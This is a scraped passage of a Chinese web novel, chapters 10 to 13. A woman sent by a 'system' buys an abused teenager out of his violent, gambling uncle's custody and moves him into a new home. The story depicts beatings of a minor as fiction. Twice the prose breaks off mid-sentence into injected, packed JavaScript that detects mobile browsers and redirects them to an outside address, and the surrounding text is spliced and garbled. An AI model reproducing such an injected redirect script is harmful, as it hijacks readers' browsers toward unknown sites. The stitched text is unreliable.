池又青得意一笑，握着方向盘，打开音乐，畅快地哼着歌开车离去。 * 次日一早，池又青醒来就收到董旭发来的照片。 陆季燃的偷拍，好几个角度都有。 男孩显然察觉出董旭的行为，盯着镜头眉头紧皱，满是抵触和厌恶。 董旭问：池老板，你看看我这侄子，条件如何？ 池又青回：长得是还不错，就是这脸，怎么烂成这样？这可签不了多少钱。 董旭一看这话，心凉半截，头一次悔恨自己前两天没忍住对陆季燃动手。 他赶忙说：池老板，小孩年轻，过两天就好了，到时候我再带来给你看看。 池又青勉为其难地回了一句好吧。 董旭追着问：池老板，那你估估，要是脸没问题的话，他能签多少？这孩子也算有点音乐细胞，会唱歌弹吉他，当个主播肯定没问题！ 池又青：多大了？不上学？ 董旭：成绩差，上不上都一样，只要池老板你发话，这些事都好说。 池又青回：最多15，顶天20，底子是还行，但真要把他捧起来，我还得投资呢。 董旭握着手机，眼睛噌地亮起。 10.第10章 凌晨两点，董旭赢了一肚的钱。 他这几天真是走大运，撞财神，天天都在赌场赢得盆满钵满！许多人都跟着他下注呢！ 也不知道等池老板那二十万本金到手，他又能赢回多少？ 到时候，他一定要赌把大的！ 光是想想咸鱼翻身以后的美好样子，董旭就乐呵！ 他已经在脑海里开始盘算未来的赢回的钱要怎么花。 换个房子，买个车子，再去他妹那小贱人处炫耀一圈，让她看看，他这个当哥的，可不是一辈子都比她混得差！ 唱着小调回家，刚搁站门口蹬掉鞋子呢，抬头一看，突兀的黑色人影立在客厅。 “草！” 他吓一大跳，忙朝后开灯。 是陆季燃。 董旭紧握玻璃啤酒瓶的手一下放松，不耐地骂道：“臭小子，大晚上不睡觉，发疯啊你？” 他摇摇晃晃地踩上拖鞋往里走，喝了口酒，直奔卧室。 陆季燃挡住他，脸上是翻涌许久也没停歇过的情绪，双眼死死冲着董旭，开门见山地问：“你认识池又青？” 董旭喝醉，酒精在发酵，脑子转悠不过来，反应了一会，才说：“池，噢，池老板啊……？她这么快就去找你了？” “……”反复在脑海里推演一下午的猜测得到证实，陆季燃猛地握紧拳头，指甲深陷入掌心，额前颈部青筋漫起，火气压在嗓底，道，“这些都是你安排的？你们到底想做什么？” “是我安排的又怎样？”董旭以为他在说签合同，把他卖给MCN的事，故而满不在乎地说，“你懂什么？我也是为了你好。陆家的财产，有我妹盯着呢。就你现在这样，你以为你爹能给你分几毛钱？” “你那个弟弟比你听话懂事，成绩又好，你爸眼底就他一个亲儿子，不然也不会把你丢过来。” “臭小子，你什么眼神？我告诉你，能被池老板看上是你的荣幸。” 陆季燃嗤笑一声，把这两个字念得缓慢：“荣幸？” 自打下午去网咖的路上碰见池又青跟董旭在一块有说有笑地走进茶楼后，陆季燃胸口这团火就烧了起来，烧到现在没停过。 他中间自己给这团火扑水，反复替池又青找借口，告诉自己要冷静，事情也许不像他想的那样。 故而没发作，没直接冲着池又青去，而是在家守着董旭。 如今，董旭这话无意火上浇油。 他抬手就往董旭脸上揍。 这一拳来得猝不及防。董旭本就有失平衡，在这突然的力道下往旁一晃，红钞和手机一块飞出来，雪花一样落了一地。 踉跄站稳后，他怒目大骂：“小杂种，找死啊！” 陆季燃不说话，又是一拳。 董旭挡住，眉毛上的火顿时烧旺，酒瓶乓地往地上一砸，伸手揪起陆季燃的领口，把他拽到面前：“咋？老子不过几天没打你，皮就痒了，要翻天啊？” 陆季燃丝毫不怵，昂头回瞪，换只手给他一拳。 董旭的嘴角都被扯裂，鲜血崩出来，他倒吸口气，蛮横地一拳揍进陆季燃的腹部。 陆季燃闷哼一声，本能地弯腰弓背，董旭熟稔地掐上他的脖子，连连后退，将他抵在墙上。 “狗日的，别以为有了池老板老子就不敢动你！她心疼你这张脸，所以我这几天都没动手，今天嘛……全是你自找的！” 铁块一样的拳锤向陆季燃的小腹。 颈部的窒息感让他拼命挣扎。 董旭见他这副模样，脸上满是痛快：“陆季燃，没人会来救你的，从你爹把你丢给我那天开始，就根本没人会管你。大少爷又怎么样？在我面前还不是条被揍的狗？” 陆季燃低头咬上董旭的手，发狠地像狼在撕咬猎物，力道之大，快要把皮肉扯掉。 董旭猛一皱眉，松开手，陆季燃靠墙弯腰站着，大口大口喘着气，一双眼刀似的插向董旭。 董旭情绪上头，抓起地上的碎玻璃片。 “六星街里还传来巴扬琴声吗~” “阿力克桑德的面包房列巴出炉了吗~” 响亮的童音美声一瞬响起。 董旭下意识往手机看，亮起的屏幕上，‘池老板’三个大字显眼。 他愣了下，丢开手里的玻璃片，拿起手机，平复呼吸，甩给陆季燃警告的眼神，谄媚且讨好地接通：“池老板，这么晚了，有什么急事吗？” 女人的声音在听筒里听着更加懒洋。 “干嘛呢？接电话这么慢。” 董旭明明站着，语气却像跪下一样：“刚没听见，实在对不住啊池老板，是我的错。” 池又青的语气极为不耐：“我最烦别人接电话慢。” 董旭连忙说：“我错了，池老板，我再也不会了。” 池又青哼了一声，说：“公司流程已经走完，尾款刚打过去。你收到没？” 董旭大喜，一看，短信里多出来的余额让他的嘴角疯狂上扬。 “收到了收到了！谢谢池老板！！” “嗯，明天下午两点，准时把人给我带来。”池又青强调，“整整齐齐的，别出什么幺蛾子。” “没问题没问题，池老板，我办事，你可放心吧。” 董旭对着电话可一通拍马溜须，等池又青挂了后，脸上满是得意，轻蔑地看了眼陆季燃：“算你小子走运，先放你一马。” “池老板的话你也听见了，明天别给我耍花招，乖乖跟我去见人，否则，陆季燃，你那把破吉他可就保不住了。” 陆季燃瞬间抬头。 “你以为，就你房间里那俩破锁能拦住谁？”董旭不屑一顾。 他抬脚踹倒扑过来的人，踩上对方被揍过的腹部，居高临下地讲：“这么多年了，怎么还不长记性了？我说过，我要是揍你，你最好乖乖听话，否则……” 脚下用力，陆季燃痛得额头全是细汗。 “你看，这遭罪的不还是你吗？” 董旭低身捡起散落的红钞，得意离去。 陆季燃躺在一旁，野狗一样，双目空荡，余光瞄过自己的手背。 眉笔留下过的痕迹早已消失，就像从没存在过一样…… 他自嘲地笑起，抬手抱头，两手用力地抓进头发，上下牙扣死，可尽管如此，拼命压抑着的崩溃咆哮，依旧无声地铺满整个房间。 潮水一样，堵涨住他的口鼻胸膛，令他无法呼吸。 * 下午两点。 江城最负盛名的茗仙楼。 董旭还是头回来这，对迎宾人员报了池老板的名字后，他就被恭顺地请到包间门口。 “快点。”董旭不耐烦地回头喊。 陆季燃死气沉沉地走在后面。 “臭小子，记住了，等会见到人，不该说的话别说。” 陆季燃一言不发。 董旭心里起火，又不能动手，瞪他好几眼，转头看门，堆起笑容，推门而入。 “池老板！” 陆季燃抬眸，池又青正坐在檀木茶桌后，手里捧着本厚实精致的点茶册。 “还挺准时。”池又青说。 董旭赔笑：“那可不！池老板，我侄子昨天跟我说，你们已经见过了？那我就不介绍了。” 池又青：“嗯，见过。” 陆季燃咬紧后槽牙，目光钉在池又青身上。 池又青恍若未觉，瞧董旭拉开椅子欲坐下，抬眸：“你干什么？” 董旭：“……？”不是喝茶吗？ 池又青不语，只是看着他。 董旭一拍脑袋：“懂了！懂了！你们聊，池老板，你们慢慢聊！” 他侧头压低声音跟陆季燃说：“懂事点，别给我惹麻烦，否则……” 陆季燃毫不遮掩自己的讽意：“你要打死我？” “你——！” “还有事？”是池又青的声音。 董旭不敢当着池老板的面发火，转头讨好一笑，这才离开。 他心想，就算这陆季燃不配合，他要的钱也已经到手。是这池老板自己要签陆季燃这么一个人，有什么损失，也得是她自己担。 董旭离开。 池又青：“想喝什么？我看网上说，这的茶还算不错。” “池又青！” 陆季燃埋了一夜的火线被她这恍若无事发生的态度再次点燃。 他上前走到桌边，攥紧拳，砰第一声，拳头落在桌上，震得茶具叮叮当当晃荡。 他咬牙切齿道：“你对我，就没什么想解释的？” “什么小姨，什么照顾，池又青，从头到尾，你全都在骗我！！” “学校的事是董旭告诉你的？就连地址也是！你到底想做什么？不，你和董旭，到底想做什么？！” 陆季燃一张脸因为生气而发红，声音也随情绪失控。 “他说的合同是什么意思？池又青，你打给他钱又是要做什么？我特么的，我看起来很好骗，很可笑吗？！这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“池又青，你这是什么意思？”警惕的本性叫他忍不住询问，“你还在骗我？” 池又青乐了，她很直白地点出：“我欣赏你的警惕，但你倒是说说看，你身上有哪点值得我骗？” “我是图你个位数的卷子，割下来卖不掉的腰子，缺心眼的脑子，还是图你家那分不到一点的米子？又或者，真以为你那张脸，往这一搁，就值我给董旭那傻叉打二十万？” 陆季燃一噎，无言。 “你要是不相信，大可随便找个律师问问，人会说假话，法条不会。” “陆季燃，我一开始就告诉你了，我来见你，从头到尾只有一个目的。” 因为某些原因，我必须要照顾你。 陆季燃记得这话。 “就算你说的都是真的。”少年绷紧身体的每一寸肌肉，依旧戒备，“你和董旭，又是怎么回事？” 陆季燃这壶烧开的水不再沸腾，逐渐冷静下来，可依旧温度滚烫。 池又青并不着急回答他的问题。 “真没什么想点的？”她点点茶单，“我看评价，有人说他们家新上的栗子糕不错。” “……”陆季燃额头黑线一片。 见女人目光灼灼，大有自己不回答便一直等着的架势，咬牙挤出二字：“没有。” “那奶茶呢？”池又青低头翻看着外卖软件，“喝吗？” 陆季燃以‘不是茶楼吗你点奶茶’‘这能送上来吗’的震惊神情作为回答。 “我对品茶没兴趣。”池又青说，“什么茶在我嘴里味道都差不多，千茶万茶不如奶茶。比起茶，我对他家的茶点更感兴趣。” 池又青低头点着单，缓慢地同陆季燃说：“陆季燃，你在我眼里，董旭和这茶没什么区别。茶点才是我的目标。” 陆季燃野蛮生长的眉拧到一处。 陆季燃：“目标？” 池又青：“是呀，照顾你。” 陆季燃：“……” 陆季燃：“我、不、需、要。” 而且。 陆季燃的目光落在白纸黑字的合同上。 这算哪门子的照顾？ 陆季燃的眉拧得更紧。 池又青：“董旭这人什么毛病，你肯定比我清楚。报警就算成了，也关不了他多久，与其跟这种无赖纠缠，不如绕个弯，让他心甘情愿主动把你交出来。这样一来，也免得他狗皮膏药似的缠人。” “你爹那趟浑水我不想碰，要是从他那边下手，能牵扯出来的东西太多，光想想我就觉得麻烦。” “现在这样不是两全其美吗？你可以脱离董旭又不用让你爹带回去，我可以如之前所说，完成我的任务。” “陆季燃，就这一年，最多到高考结束。” “你考虑一下？和我一起，多少比跟董旭待一块强点。” 11.第11章 “姨奶奶让你来的？”陆季燃冷不丁讲这样一句。 池又青：“你知道我妈？你见过她？” 陆季燃这语气绝非是提及陌生人的语气。 他说：“见过几面。” 自从池又青第一次见面，提了一句是她妈让她来照顾自己，陆季燃这段时间以来，就时常回忆季瑾口中姨奶奶的形象。 母亲常提，说姨奶奶是个好人。在陆季燃有限的童年记忆里，那位高雅的妇人给他留下的印象也的确如此。 陆季燃眉眼里写满平静的拒绝：“虽然我还是不知道为什么，但麻烦你替我谢谢她。我还是那句话，我可以处理好我自己的事情，不需要照顾。” 池又青：“处理？” 她看着面前男孩，只觉得自己恍然间听见了几声驴叫。 要不是陆季燃这张脸并非高眼位长中庭，她都想提前替他想好未来入行的tittle——驴系男星。 她冷笑：“你要怎么处理？被董旭揍药也不上，生活费被吞也一声不吭。到江城这么多年，这就是你的处理？” “李毅那事，要是没我，你是不是就打算借此退学？我该说你自暴自弃，无为开摆，还是该夸你有点血性，遭这么多罪也挺能扛？” 池又青把自己说得都气笑了：“陆季燃，我就好奇了。你是觉得你这样死扛着特别帅，很man很有风范，还是你确实比我想得聪明有主见，心里其实有别的计划安排？” 陆季燃压抑着情绪，说：“跟你没关系。” 池又青的眼珠子快翻出来。 她没好气地说：“是跟我没关系。你被揍出毛病，和我没关系。你爸靠我表姐起家，表姐半辈子搭进家里，到头来为他人作嫁，这事也跟我没关系。” 在阴阳怪气戳人肺管这技能上，池又青向来是把好手。 蛇打七寸，她最会知道讲什么能叫人胸口发痛。 背往木头椅子上一靠，淡定地喝口水，池又青开始她的输出。 “陆季燃，你说，表姐十月怀胎给你生下来，难不成就是为了让你寄居人下挨揍的？那还真挺有远见。” “还是你觉得，不求助，不解释，退学也算报复？你以为陆屹会在乎吗？” “他早有了新的宝贝心肝儿子，要不是因为他，你今天也不会在江城。你今天就算死了，他都掉不出一滴鳄鱼的眼泪。” “不管你怎么伤害自己，从一开始就不在乎的人，后来更不可能在乎。你心里不也明白吗？怎么？对这老东西还有期待？” “池又青！”陆季燃被踩住了尾巴，变成了破防的驴，几乎是惨叫一样喊。 他怒视着眼前的人，颌面每根线条都紧到绷直。 露出的青筋，压抑的呼吸。 身体的每一处细节，都在代表他的愤恨。 只是连他也分不清，这岩浆一样翻涌的痛与怒，究竟是暗示反抗，还是恼羞造就。 052早就在池又青脑海里尖叫不休：【宿主！宿主！！】 她嫌烦，直接屏蔽，毫不闪躲地回看着少年，脸上写满了明目张胆的情绪。她从来不回避冲突，也半分没有示弱的打算。 对于自己的想法，全都一览无余地拿出来，明晃晃地摆在陆季燃面前。 “陆季燃，瞪我又能改变什么？就你这情况，我不求你咬着牙往上爬，是，没有心力的时候，躺下也是选择。但是，陆季燃，今天有另外的选择摆在你的面前。” “要躺也换个地方躺，董旭那破屋子，啤酒瓶玻璃渣，躺着不硌人吗？” 陆季燃被这话弄得哑然，嗓子眼全被堵住，什么话都无法说出。 池又青说的每句话，他都曾对自己说过，争辩过，也推翻过。最后它们还是像现在这样，尖锐地扎在面前，无法回避。 “当然。”池又青嘴角上扬，眼底却毫无波澜笑意，冷声宣告判词，“我刚刚让你考虑，只是出于客气。陆季燃，你以为你有得选吗？” 指尖轻点屏幕，亮出时间。 “这个点，董旭估计已经把你的东西搬出来。” 陆季燃锁死眉头：“……？！” “他拿了钱，只怕是恨不得马上把你甩掉，就算你回去，他只会把你赶出来。陆季燃，你还有别的地方能去吗？” “要不我给你想个办法？打包好东西灰溜溜回陆家，跟陆屹说爸我错了。或者干脆将就就计，今天开始浪迹天涯？等陆屹把你抓回家再说，反正以你这脾气，估计早就体验过。” “在朋友家住也是个法子，不过你也死要面子活受罪，又怕影响别人，这也不是长久之计。包吃包住是个人就能进的地方也有一个，但你先得犯点事。” “可惜了，要是对李毅动手狠点，说不定你就已经进去了。” “再说这合同。” 池又青伸长手，拿过放在陆季燃面前的那份，随手翻开。 “在强制你这方面它是没什么效用，但在别的地方有用啊。对我来说，找个好律师不难，颠倒黑白也不难。这事说小可小，说大可大。你也不想和陆屹因为这事见吧？” “以他好面子的程度，只怕也不想把你带回陆家，他大概会找个新的人接手，而我是个不错的人选……” “池！又！青！”陆季燃唰地站起来，死死抓住桌沿的手终于忍不住狠锤两下。 哐！哐！ 小手指下的侧掌终于和脸一样发红，嘴唇因为愤怒而颤抖。 “这就急了？很生气吧？”池又青毫不畏惧地仰头看他，清澈的眼眸里是一览无余的底气，“陆季燃，记住你现在的感受。如果你继续一遍一遍选择现在的生活，这就是未来你会再品尝无数次的滋味。” 原著中期，校园部分结束，男女主迫于现实不得不分开。陆季燃向陆屹低头的时候，只怕感觉比现在还难受。 好吧！ 对现在的陆季燃来说，此刻和未来可能都是屎。 但她这坨，起码比陆屹好看吧！ “说这么多，累死我了。”池又青起身去开门拿奶茶外送，顺便让开道方便人端着差点送来。 剑拔弩张的气氛在这突兀的中断下冰一样凝着，悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148701|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而未决，将落未落。 池又青拎着奶茶店坐回位置上，没事人一样撕开纸吸管的包装，啪地插进杯子里，低头嘬一大口，幸福地眯上眼。 包间的大门敞开，她补充足水分和糖分，对陆季燃说：“今天跟我走，或者后面跟我走，陆季燃，你选一个吧。” 陆季燃只字不语，转身就走，门被随手带上的时候，泄愤一样摔到框上，店外的员工都吓得一抖，跑进来问客人是否需要帮助。 池又青笑着摇头：“谢谢，我很好。” 052被放出来时还在无限循环着自己的尖叫。 【宿主你干嘛啊！宿主你疯了！！你这人！！说两句好话会死吗！！】 【池又青！你混蛋！我给你开屏蔽权限是为了保护你的隐私！不是让你干这事！！】 【啊啊啊啊！】 【怎么办怎么办怎么办！！】 池又青：【你慌什么？】 052这才意识到自己已经脱离小黑屋。 它抓狂万分：【你这操作！我能不慌吗！宿主！你疯了啊！按你这样，就算完成第一个任务，后面怎么办？陆季燃要是真恨上你……】 它的世纪终末奖金。 它的百年一遇假期。 哈哈，没啦！ 全都没啦！！ 【恨就恨呗。】池又青捏起一块小小的浅棕栗子糕放进嘴里，没所谓道，【他对我的看法又不影响我要做的事。我是来完成任务的，又不是来让他喜欢我的。】 052：【可是他现在已经对你有很多不满！有这种先入为主的抵触情绪，后面的改造计划会进行得更加艰难！】 池又青被系统说烦了。 【那我能怎么办？你让我装温柔，装贴心，我自己不开心。要是我都不开心了，拯救这破世界还有什么用？】 052听不懂，也不想听。 它只知道年终和假期在对它道别。 池又青把心心念念的栗子糕吃完，奶香软糯，配泛着苦涩的茶好，配微糖的奶茶也不算腻。舔掉指尖碎渣，拆开湿巾擦拭干净，将合同捡回包里。 多余的茶点打包，又打包两份栗子糕。 池又青走出茗仙楼。 陆季燃不知道在门口站了多久，见她出来，左手搭在后颈上，微低着头，不说话，只是看她。 池又青觉得，他跟这些天她在鼎盛茶楼碰见的那只倔强小野狗黑黑没什么区别。 第一次见到后，她特意买罐头调头回去，一靠近，黑黑就呜咽威胁。 退开两步，走远了，它才会试探着走近，闻嗅拆开的肉罐。 这样的日常反复几次后，黑黑见到她，不汪不呜也不靠近，只是有一搭没一搭地摇尾巴。 但她走一步，黑黑就跟一步。 狗还是太单纯了，比陆季燃好亲近得多。 “走吧。”池又青什么都没多问，左边手里的茶点打包递给少年，“帮我拿下，我找钥匙。” 陆季燃抿唇，盯着她好一会，伸手，一并将她两只手的袋子都接过。 12.第12章 一上车，池又青就把手机丢给副驾驶的少年，自己调开车载导航，定位吉安小区。 陆季燃双手接住，目光有点茫然：“……？” 池又青解释：“董旭都把你卖我了，你不得找个新地方住？我现在住的酒店套房离你学校太远，短暂歇脚还行，常住上学太不方便。” “你们学校附近倒有几个小区环境还算不错，我挑了几套在售的房子，你看看呢，有没有你满意的？” 中介app上，房屋信息一应俱全，左下角的爱心早被点上，空白变为饱满的红，代表用户早就将该条信息收藏。 再去细看房子细节，百平往上，装修精致，全款售价百万起。 陆季燃以为自己看错：“……你要买房？” 池又青点点头：“嗯喏。” 陆季燃没明白：“你要在江城长待？” 池又青当然不会，直说：“没啊，照顾完你就撤。” 陆季燃更为不解：“那你买房做什么？！” 池又青也没办法：“在租的我也看过，装修都不满意，房东还不准私自改格局，搬家具。还是买房好点。” 陆季燃无言：“……” 池又青：“我选的这几套都是楼上楼下或者对门，你挑挑。” 陆季燃尽量保持理智：“楼上楼下？对门？池又青，这房子，你要买几套？” 池又青理所当然地说：“两套啊。” 陆季燃：“……？!” 池又青：“我不习惯和人一起住，更怕跟你住一块，你的生活习惯我看不惯，哪天一脚把你踹出去。所以咱俩分开，你一套我一套，这样比较方便。” 说这话的时候，池又青的指尖搭在方向盘上，在第三次被同一辆车恶意别道以后，她眼光一冷，毫不躲闪，脚下油门一踩，径直在中间道上朝前驶去。 左前方的试图往她所在车道挤的宝马没打变道灯，本想直接塞进来，哪晓得后车竟如此虎彪。 宝马车主吓得手软，方向盘一甩，又回自己的道上。 他摇下窗破口大骂：“操，傻逼，会不会开车！没看到我要变道吗！” 池又青充耳不闻，扬长而去，转头瞟，陆季燃面色煞白，右手高抬，下意识抓紧安全扶手。 池又青觉得他状态有些不对，轻唤他名字：“陆季燃？” 飞走的魂被这一声喊塞回来后，陆季燃脸色颇为难看。 这话他几乎是低吼出来：“池又青！你不要命了！万一真撞上怎么办！” 池又青被吼得有点不高兴：“他恶意别车，变道不打灯，真要撞上，该罚的人是他，该赔钱修车的人也是他。我怕什么？” “大部分人对这种家伙多以忍让，不过是秉持着多一事不如少一事的态度，又或者觉得修车麻烦，费神误事。” 说到这，池又青露齿一笑。 “我不一样，我无聊，而且很闲。” “放心吧陆季燃，这点速度，就算从我这边撞上来，左右也是坏个保险杠或者车门的事，问题不大。” “……”陆季燃懒得理她，别过头去看窗外。 少年胸口起伏不定，呼吸急促。 【052，你觉不觉得陆季燃有点不对？】池又青分神问了嘴。 052弱弱地说：【男主可能对撞车和车祸有点敏感。】 池又青：【怎么说？】 052：【你的表姐，他的妈妈季瑾，之前就出过车祸……按照原著记载，季瑾是无意撞破渣爹出轨以后，带着陆季燃转头开车就走，恰好是雨夜，高速回程的时候出了问题。】 052：【陆季燃当时才六岁，就在副驾。眼睁睁看着一辆大车失控着撞过来。】 池又青：【……】 052见池又青面色不对，忙说：【宿主！你别多想！车是报废了，但陆季燃和妈妈人都没事！季瑾是在此之后才查出癌症……这事我之前没提，主要是也没想到，现在他心里还没过这关。】 池又青悄悄瞄了眼陆季燃，少年还保持着警惕的状态，依旧紧拉着安全把手。 茗仙楼的打包袋被他妥善地放在腿上，左手臂弯将袋子护在怀里，看起来正在努力保持平衡，唯恐一个急刹或大转，叫袋里的糕点翻了天。 陆季燃看起来一切都算正常，唯有攥着纸袋边缘的指尖用力泛白。 哎。 这破系统。 也不知道早说。 这不就显得她刚刚很不做人吗？ 她皱起脸，头疼好一会，最终借着红灯停车的间隙，转头看陆季燃，坦然地说：“对不起。” 陆季燃愣愣地回头，眼神里的错愕许是以为自己幻听。 “我不知道你会这样害怕，没注意到你的感受，这件事是我不对。”她真诚地说，“我向你道歉。” 陆季燃不吱声，光用一双黑璨璨的眼看她，直把池又青看出几分困惑。 “……怎么了？”她问，“还不舒服？要不我前面停车，你休息会？” 车后传来鸣笛，陆季燃说：“灯绿了。” 池又青起步往前，车速显然比刚才缓慢，由于操心陆季燃的情况，时不时偏头瞧他，这种显而易见的关注叫陆季燃的脸上漫起无措的神情。 “我没事。”他有点别扭地说，“你开车看我做什么，看前面。” 池又青：“确定？” 陆季燃：“真没事！！” 这一声回答底气很足。 池又青放心了。 只是，陆季燃的眼神太明显。 池又青：“你又干嘛一直看我？有话想说？” 陆季燃：“……” 陆季燃死鸭子嘴硬：“没有。” 池又青怎么跟他以前遇见过的每个大人都不一样？大胆肆意，行事毫无章法，看起来我行我素，却也会对他道歉。 原来大人也会道歉。 “董旭……钱就这么给他了？”陆季燃忽地提起。 池又青逗他：“怎么？你这是心疼我还是心疼钱？” 陆季燃：“……？” 瞧出他的无语，池又青不再玩尬的，认真说：“这事你不用操心。有句话叫什么来着？所有命运馈赠的礼物早就在暗中标好价格。” “他现在估摸着正觉得自己捡了个惊天便 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活学活用倒挺快啊。 池又青又哼了声。 陆季燃毫不退缩地望着她：“如果现在这一切都是礼物，池又青，那我的价格又是什么？” “陆季燃，我当然有我想要的，我没那么伟大，也不是圣人。坦白说，在我们见面之前，你对我来说只是个陌生人。想来我对你来说也一样。” 池又青游刃有余地避开拥挤车潮。 “你不信任我，我理解。你的固执和怀疑也完全事出有因。我这种行事方法，的确很难让人不怀疑。但既然你今天选择上我的车，决定跟我走，那我也希望你以后不要再问我这个问题。” “做好准备吧陆季燃，我一定会有向你索要价格的那天。” 池又青坦荡直率。 “在此之前，我希望我们可以互相配合。早点达成目标，我也早点解脱。” 陆季燃：“什么目标？” 池又青：“噢，还没想好。” 主要是她现在也什么都不知道，关于这点，系统一个猪屁没放。 陆季燃沉默良久，说：“我明白了。” 池又青：“所以房子你想选哪套？” 陆季燃：“都好。” 池又青了然：“猜到是这个答案，我已经提前定好你看的第一套房，你住的那套就在我楼上，我们先搬过去住住，要是不习惯，咱再买几套别的，换个地方。” 陆季燃：“……？” 陆季燃：“……。” 他深吸一口气，尽量平定地说：“听你安排。” 池又青惊讶地张大眼：“就这么接受啦？我以为按你的脾气，还要死倔一会，问我为什么早就决定好还要再问一遍你的意见，岂不是在玩你？” 心思被琢磨透，脑海里一瞬的确浮现过上述念头的陆季燃哑然。 “不会，我还没那么不识好歹。”这几个低声的字几乎是从陆季燃的齿缝里挤出来的。 13.第13章 池又青被他这话逗乐：“看来你对自己的认知也蛮准确，知道自己之前算是不识好歹？” 陆季燃：“你——！” 池又青哈哈一笑，不再玩他，顺着导航指路把车停在吉安小区门口。 一早叫来的搬家师傅已就位多时。 “小姑娘，你叫的车？” “是我。”池又青说，“师傅，你这么早就到啦？让你等久了。” 大秋天的，搬家师傅就穿了件薄卫衣，后背濡湿一片，黝黑的脸上还有汗水，扯起衣服擦了把，摆摆手说：“嗐，没事！” “我刚帮人把东西搬到这小区，打开手机一看，唷，这单近啊，就干脆接了，在这等你过来。小姑娘，没多久啊，来得正好。东西在哪？” 池又青回头看陆季燃，陆季燃：“干嘛？” 池又青：“带路。” 陆季燃闭紧嘴充当人体导航。 三人刚走进单元楼，就听到楼道里传来争吵。 “301的，你这东西可不能就这样放在门口啊，你这样挡着路，让我们怎么过啊。”是位阿婶在说话。 “那边上不是能走吗？叽叽歪歪的，死八婆，我不都说了，就放一会，东西马上就拿走。”董旭一如既往的戾气十足。 “301！你！大家都是邻里邻居的，你、你就不能好好说话吗！”阿婶声音尖锐起来，“你说谁八婆呢！” 董旭嚣张至极：“哈？邻里邻居？我告诉你，死八婆，老子马上要发大财了！” 他下午就在银行做完大额提现！二十万现在已摆在家中！等明天野山赌场开局，就是他鱼跃龙门，一夜暴富之日！ 董旭嫌恶地看了眼阿婶，傲慢无比道：“到时候，我要买个大房子！这鬼地方，谁爱住爱住！” 董旭还在和邻家阿婶吵，声音越发大，搞得楼上楼下都探出来八卦。 对面楼的人洗澡到一半，打开窗户，巴望过来。 陆季燃脚步快了些。 三楼口，不到两平米的小过道上堆满了零零碎碎的物件，眼看一堆挤在墙边的书要倒，陆季燃上前扶住。 董旭见他就骂：“死小子，赶紧的，把你东西搬走。” 还没骂爽，见到池又青在他身后出现后，神情一顿，立刻变脸：“池老板，怎么你也来了啊。” “董先生倒是迫不及待啊。”池又青意有所指，“你这样，反而让我很担心啊。” 董旭弯着腰忙说：“池老板，池老板，我这不也是为您着想吗？我想着，这小子你都签走了，早点送到您那边，也好早点给您赚钱不是？” 池又青眸光落在一地狼藉上：“你看起来不像是准备给我送摇钱树，而是要给我送垃圾啊。董旭，我开的是公司，不是垃圾站。” 董旭心里暗骂这女的破事真多。 可万一以后还要再跟这女的合作呢？ 面上终是恭顺，嘴里说着‘是是是’，伸手主动把地上的东西收拾进搬家师傅带来的纸箱和袋子里。 “点点你的东西。”池又青对陆季燃说，“看有没有什么没拿。” 陆季燃的东西算不上多，衣服塞进袋子里都放不满，两双球鞋，皆是破旧。剩下的全是鸡零狗碎小玩意。 瞧着这些，池又青对陆季燃这些年日子怎么过来的，又多了分实感。 “吉他。”陆季燃面色沉沉，盯着董旭，“我的吉他。” “妈的一破吉他你——”骂不下去了，因为池老板正微笑着看他。 董旭缩缩脖子，心不甘情不愿地回房间，再出来时，手里已拎着一黑色吉他包。 他心里嘀咕，这也是让陆季燃狐假虎威上了。 陆季燃连忙抢过来，打开拉链仔细瞧。 “没问题？”池又青问。 陆季燃点点头，背好吉他，拎着东西就和搬家师傅一道往下走。对于这居住多年的地方，他毫无半分留恋。 围观全程的阿婶跟吃了大瓜一样，尖酸地阴阳：“301，咋回事啊？你家这倒霉孩子，家里终于来人接了？你那个当小三的妹妹，终于想开了？” 董旭嗤笑一声：“滚，接个屁，是老子给他找了个好去处！” 阿婶哟呵一声：“什么去处？那女的谁啊？” 董旭贱笑：“就一有钱的寡妇，开了个公司，看陆季燃长得不错，就买了过去。” 董旭把侄子卖掉这事很快在这楼里传开。 池又青三人正在小区门口待着，她让陆季燃再清点一遍行李，以防万一。顺便等待房子那边收拾完毕，弄好直接把东西拖去。 “妈，这跟你有什么关系？楼上那家子的事你还没管够啊？你一把老骨头，我们又不常在家，万一董旭……董旭本就是个不三不四的人，他那侄子更是，我几年前就碰见他在街头打架了，还抽烟，他才多大啊他！” 见陆季燃杵在原地，清点的动作忽然停下，池又青循声看去。 佝偻着背的阿婆气呼呼地甩开儿子的手：“你不懂！小陆个好孩子！就是命不好！平日里你们不让我管就算了，今天他董旭把孩子都卖了，怎么能不管！” 陆季燃低下头。 池又青在心里摇头，一巴掌拍上陆季燃的后背：“愣着做什么？都要走了，去给阿婆打个招呼。对了，拿上这个。” 池又青从包里拿出一摞厚厚的卡，陆季燃看去，全都是千元面值的各大超市购物卡，中间还穿插着几张粉色的儿童用品店兑换卡。 “上次阿婆不是说孙女快上小学？要准备的东西多，你把这些拿给她。” “我也不知道她喜欢逛哪个超市，这几天就找人都收了点。” “还有，阿婆喜欢收瓶子纸壳，这是江城最大的回收站负责人的联系方式，她攒好以后打电话，他们会找人来收，没了中间商赚差价，换的钱要多些。” 陆季燃攥着卡，哑着声说谢谢，挪开挡在后车厢口的自行车，跳下去，跑到阿婆跟前，将她拉到一边说悄悄话。 也不知道说了什么，阿婆忽然抬头朝车的位置看。 池又青从车窗里探出头，冲着老人笑着挥手。 陆季燃很快就回来。 池又青：“没忘东西吧？房子那边收拾好了，没什么事的话，咱出发？” 陆季燃嗯了一声。 他跟车，和搬家师傅一块坐小面包。池又青的车开在一旁，火红的颜色，和她这个人一样夺目。 两辆车格格不入地同行，明明在一条马路上，却又好似泾渭分明，宛若两个世界。 